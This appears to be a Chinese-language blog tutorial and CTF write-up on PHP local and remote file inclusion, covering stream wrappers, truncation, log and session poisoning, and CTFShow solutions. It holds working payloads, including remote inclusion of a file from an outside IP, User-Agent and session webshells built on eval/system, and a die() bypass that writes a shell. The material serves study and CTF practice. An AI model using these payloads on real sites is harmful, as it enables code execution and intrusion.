文件包含学习
Drunkbaby Lv6

PHP 文件包含学习

0x01 前言

  • 之前一直想补这个漏洞,结果现在才开始

0x02 漏洞相关

漏洞成因/原理

后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程也就 被称为文件包含。

文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。这个漏洞在 php 中十分常见,其他语言也同样存在

漏洞危害

  • 造成任意文件读取的信息泄露
  • 命令执行

漏洞分类

1、本地文件包含漏洞

简单理解就是网页本身存在着恶意文件,我们对其进行调用,从而获取信息等,倾向于信息泄露

2、远程文件包含漏洞(需要 php.ini 开启了 allow_url_fopenallow_url_include

这种情况下,网页本身不存在恶意文件,我们构造恶意文件进行包含,包含的文件是第三方服务器的文件。

漏洞相关函数

主流文件包含 php 一些函数的含义:

include() :执行到 include() 才包含文件,找不到包含文件只产生警告,还会接着运行后面的脚本

require(): 只要程序一运行就会包含文件,找不到包含文件则会报错,并且脚本终止运行


include_once():执行到 include()才包含文件,找不到包含文件只产生警告,还会接着运行后面的脚本;_once()后缀表明只会包含一次,已包含则不会再包含

require_once():只要程序一运行就会包含文件,找不到包含文件则会报错,并且脚本终止运行 _once()后缀表明只会包含一次,已包含则不会再包含

漏洞利用

最常用的是伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
file:// 协议:
条件 allow_url_fopen:off/on allow_url_include :off/on
作用:用于访问本地文件系统。在include()/require()等参数可控的情况下
如果导入非php文件也会被解析为php
用法:
1.file://[文件的绝对路径和文件名]
2.[文件的相对路径和文件名]
3.[http://网络路径和文件名]

php:// 协议:
常见形式:php://input php://stdin php://memory php://temp
条件 allow_url_include需要 on allow_url_fopen:off/on
作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input,php://filter用于读取源码,php://input用于执行php代码
php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流)
read=(可选) write=(可选)
对read和write,可选过滤器有string.rot13、string.toupper
string.tolower、string.strip_tags、convert.base64-encode
& convert.base64-decode
用法举例:php://filter/read=convert.base64-encode/resource=flag.php
网址+?page=php://filter/convert.base64-encode/resource=文件名

zip:// bzip2:// zlib:// 协议:
条件:allow_url_fopen:off/on allow_url_include :off/on
作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件
更重要的是不需要指定后缀名
用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
compress.bzip2://file.bz2
compress.zlib://file.gz
其中phar://和zip://类似

data:// 协议:
条件:allow_url_fopen:on allow_url_include :on
作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法:data://text/plain, data://text/plain;base64,
举例:data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

0x03 文件包含基础实战

无限制文件包含

1
2
3
4
5
6
7
8
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

payload

1
?file=../flag
  • 这里从漏洞利用的角度来说也是一种任意文件读取漏洞,但是在实际环境当中,可能服务端会定死后缀为 .php,如下代码所示

有后缀的文件包含

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include $file.'.php';
}else{
highlight_file(__FILE__);
}
?>

如果想要继续进行任意文件读取,需要想办法截断后面的 .php

因此我们此时可以通过以下几种方法来对其进行截断( 需要 magic_quotes_gpc=off,PHP小于5.3.4)

1
2
3
4
5
6
7
%00截断

路径长度截断
# Linux 需要文件名长于 4096,Windows 需要长于 256

点号截断
# 只适用 Windows,点号需要长于 256

远程文件包含

  • 大致意思是,可以请求恶意的文件,通过远程文件包含

利用前提:allow_url_fopen=Onallow_url_include=On

在服务器上建立恶意文件 evil.txt,内容如下

1
2
3
<?php
phpinfo();
?>

远程读取

1
http://127.0.0.1/file_include/remoteInclude.php?file=http://81.68.120.14:777/evil.txt

0x04 文件包含结合伪协议

php://filter 协议

利用条件:
只是读取,所以只需要开启 allow_url_fopen,对 allow_url_include 不做要求

php://filter 伪协议本质上的作用还是文件读取,但是它可以读取全部内容,相比于之前来说,如果直接读的话,很有可能只读到一行

还是一样的代码,payload:

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

php://input 协议

可以访问请求的原始数据的只读流, 将 post 请求中的数据作为 PHP 代码执行

利用条件:
需要开启 allow_url_include=on,对 allow_url_fopen 不做要求

payload
`

1
?file=php://input

这里我用 hackbar 没打通,似乎是只能用 bp 才能打通

zip:// 伪协议

zip:// 可以访问压缩文件中的文件

条件: 使用 zip 协议,需要将 # 编码为 %23,所以需要 PHP Version >=5.3.0,要是因为版本的问题无法将 # 编码成 %23,可以手动把 # 改成`%23。``

payload

1
?file=zip://[压缩文件路径]#[压缩文件内的子文件名]

在本地新建一个文件 zip.php,并且压缩成 zip.zip 压缩包

zip.php

1
2
3
<?php  
phpinfo();
?>

payload

1
?file=zip://zip.zip%23zip.php

这一种攻击的前提是存在文件上传的功能,我可以上传一个包含恶意 PHP 文件的 zip 包,通过 zip 包绕过文件上传的检测,再用文件包含去打;利用角度上来说还是有一些苛刻。

phar:// 伪协议

zip:// 协议类似,但用法不同,zip:// 伪协议中是用 # 把压缩文件路径和压缩文件的子文件名隔开,而 phar:// 伪协议中是用 / 把压缩文件路径和压缩文件的子文件名隔开,即

1
?file=phar://[压缩文件路径]/[压缩文件内的子文件名]

用 phar 打的 payload,当然 / 可以用 %2f 编码

1
?file=phar://zip.phar/zip.php

利用条件也是相对苛刻

data://text/plain 伪协议

和 php 伪协议的 php://input 类似,也可以执行任意代码,但利用条件和用法不同

条件:allow_url_fopen=Onallow_url_include=On

用法1:?file=data:text/plain,<?php 执行内容 ?>
用法2:?file=data:text/plain;base64,编码后的 php 代码,也就是上文的 <?php 执行内容 ?>

如果是用 base64 的方法打的,需要将 base64 的部分进行 URL 编码,才能打

file 伪协议

打法 ?file=file=../../,很基础的攻击方式,和 SSRF 差不多,这里不再多说

通过伪协议绕过 die() 函数

这个题目会在 ctfshow web87 里面详细说明

0x05 一些 getshell 等骚姿势

日志包含

同理的 fd 文件包含,environ 文件包含都和日志包含差不多。php 以 cgi 方式运行,这样 environ 才会保持 UA 头。

利用条件:

需要知道服务器日志的存储路径,且日志文件可读。

  • 为啥这个能利用呢?首先我们每一次访问 host/服务端,都会被日志所记载,那么如果我们在 UA(用的最多),或者其他字段当中插入恶意 php 代码;那么在日志被 php include() 调用的时候,就会自动执行里面的代码。

后续会在 ctfshow 当中展示例题

session 包含

session 概念基础

  • 原理上还是因为 可控 + 可读

可读:php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。

前提是开启了 session.serialize_handler = phpsession.serialize_handler = php_serialize

session.php

1
2
3
4
5
<?php  
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>

POST 发包,username=Drunkbaby

服务端会对用户名的内容进行序列化存储,但是这个存储只会存储 username 里面的值进行了序列化存储,即 s:9:"Drunkbaby" 没有对变量名做任何处理,对变量名做处理的方式如下

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>

并设置 session.serialize_handler=php_binary

同样发包 POST,username=Drunkbaby

session 包含实例

写一段 demo 代码

sessionVul.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
session_start();
error_reporting(0);
if (isset($_POST['username'])) {
$_SESSION['username'] = $_POST['username'];
}

if (isset($_GET['file'])) {
include($_GET['file']);
}

?>

明显可控的恶意地方是 username,我们尝试发包,在 username 字段中插入恶意代码

1
<?php%20eval($_REQUEST['drunkbaby']);?>

并且要修改 Cookie: PHPSESSID 的值,因为数据保存的文件名是 sess_PHPSESSID,这里我把它修改成了 evil;发包。

接着进行文件包含,去包含存储 session 的文件

这是非常理想的漏洞条件,实际中代码中会对用户的会话信息做一定的处理后才进行存储。

  • 如对用户 session 信息进行编码或加密
  • 如代码没有 session_start() 进行初始化操作,服务器也就无法生成 session 文件

session base64 编码如何攻击

这也就是上文提到的,在实际场景中,肯定会对 session 进行编码操作

base64Session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  
session_start();
error_reporting(0);

if (isset($_POST['name'])) {
$_SESSION['name'] = base64_encode($_POST['name']);
}

if (!empty($_SESSION['name'])) {
echo "<div class='res'><h3>success!<br><br>name:".base64_decode($_SESSION['name']);
}


if (isset($_GET['file'])) {
include($_GET['file']);
}

?>

按照原理来说,我们写入的恶意 session 会进行 base64 编码,保存到 sess_PHPSESSID 这一文件中;至于取出来,可以用 php://filter 伪协议,大致的 payload 可以是

1
?file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_evil

但是实际上并没有进行命令执行,经过报错信息的查看会发现是 base64 解码时出现了错误。
这里就涉及到了 base64 解码的原理。(其实很多 Java 题里面也是这样的)

在 base64 编码时,每4个字节一组组成一个24位的数据流,解码为3个字节。即4个字节每6组解码为3个字节每8组。如果遇到不属于 base64 编码表里的字符,会跳过这些字符,将合法的字符拼接后解码

  • 解决这一步的方法,从结论上来说只需要 username 这个恶意字段经过 base64 编码之后的长度能够整除4即可,至于推理过程可以看这一篇文章。

https://www.anquanke.com/post/id/201177#h2-8

发包

1
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm%3C%3Fphp+eval%28%24_REQUEST%5B%27drunkbaby%27%5D%29%3B%3F%3E

在经过 base64 编码后的文件内容为:

1
username|s:116:"cWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtPD9waHAgZXZhbCgkX1JFUVVFU1RbJ2RydW5rYmFieSddKTs/Pg==";

一整个长度为 116,符合被 4 整除

接着用 php://filter 伪协议去文件包含

值得注意的是,这里 session.serialize_handler = php,如果设置成 session.serialize_handler = php_serialize 也可以通过类似的方法攻击。

No session_start(),也就是 session.upload_progress 的攻击方式

要结合条件竞争打,这里可以简单提及一下原理以及攻击思路

原理

当一个网站存在文件包含漏洞,但是并没有用户会话。即代码层未输入session_start()
攻击者可借助 Session Upload Progress,因为 session.upload_progress.name 是用户自定义的,POST 提交 PHP_SESSION_UPLOAD_PROGRESS 字段,只要上传包里带上这个键,PHP 就会自动启用 Session。同时在 Cookie 中设置 PHPSESSID 的值。这样,请求的文件内容和命名都可控。

当文件上传结束后,php 会立即清空对应 session 文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在 session 文件被清除之前利用。

0x06 CTFShow 例题

web78

payload

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

web79

增添了代码

1
$file str_replace("php""???"$file);

大小写绕过 php,构造 payload 如下

1
?file=phP://input

同理 data:// 也可以

web80

过滤了 “php” 和 “data”

1
2
$file str_replace("php""???"$file);    
$file str_replace("data""???"$file);

和上一题的 payload 一样

web81

新过滤了 : 如此一来无法使用伪协议打,可以用日志包含

1
2
3
$file str_replace("php""???"$file);    
$file str_replace("data""???"$file);    
$file str_replace(":""???"$file);

UA 作为恶意内容插入,读日志命令执行

1
User-Agent: <?php system($_GET[1]);?>

web82-86

竞争环境需要晚上11点30分至次日7时30分之间做,其他时间不开放竞争条件

web87

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

这里 bypass 的方法是二次 url 编码,第一次 url 编码,是 web 服务端自己自动完成的;这样就可以很轻松的绕过 str_replace() 的检测,而经过 web 服务端 url 解码之后的内容,经过 urldecode(),转换为恶意 payload

content 里面放命令执行的语句,file 里面通过伪协议

1
2
3
?file=php://filter/convert.base64-decode/resource=hack.php

content=<?php eval($_POST[1]);

第一次这么打是有问题的,问题就是前面说的 base64 编码的问题,因为前面还会解析 phpdie 这六个字符,所以需要我们再填充两位进去

  • 填充两个字符后

直接连🐎

拿到 flag

web88

简单的一道远程包含,过滤的关键字内容如下

1
2
3
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i"$file)){  
        die("error");
}

根据关键字过滤来看,data:// 伪协议也可以打,但是要注意编码后的 payload 不能含有 = 和 +

payload

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg&1=ls

web116

misc + lfi

mp4 用 foremost 分解出一个 png,里面是一张源代码

  • 直接用 php://filter 读取

web117

过滤了相当多,不过 filter 关键字没被过滤

1
2
3
4
5
function filter($x){  
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}

这里用到了一个新的 bypass 方法 ———— iconv() 函数

  • iconv() 函数的用法如下
1
iconv(string $in_charset, string $out_charset, string $str): string

将字符串 str 从 in_charset 转换编码到 out_charset;这里直接用先知那篇文章里的从 UCS-2LEUCS-2BE 的转换

本地生成一个 payload, 注意原始长度必须是偶数

1
2
3
4
<?php 
$text = '<?php system($_GET[11]);?>';
echo iconv("UCS-2LE", "UCS-2BE", $text);
?>

编码后的 payload

1
?<hp pystsme$(G_TE1[]1;)>?

写入文件的 payload

1
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

接着命令执行

0x07 小结

总体利用来说并不算难,挺有意思的一个漏洞

0x08 Ref

https://www.jianshu.com/p/e6f59f3f01b8
https://exp10it.cn/2022/08/ctfshow-web%E5%85%A5%E9%97%A8%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-writeup/

 评论